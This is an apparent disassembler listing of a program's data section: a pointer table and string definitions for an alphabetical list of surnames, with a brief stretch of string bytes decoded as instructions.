dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
and ah, ch
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC09
; ---------------------------------------------------------------------------
align 4
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o
aZoldak db 'Zoldak',0
align 4
dd 6272655Ah
db 69h
; ---------------------------------------------------------------------------
loc_42EC09: ; CODE XREF: ___:0042EBC5j
outsb
imul eax, [eax], 6167655Ah
outsb
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC83h
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o
aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o
aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o
aStott db 'Stott',0 ; DATA XREF: ___:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o
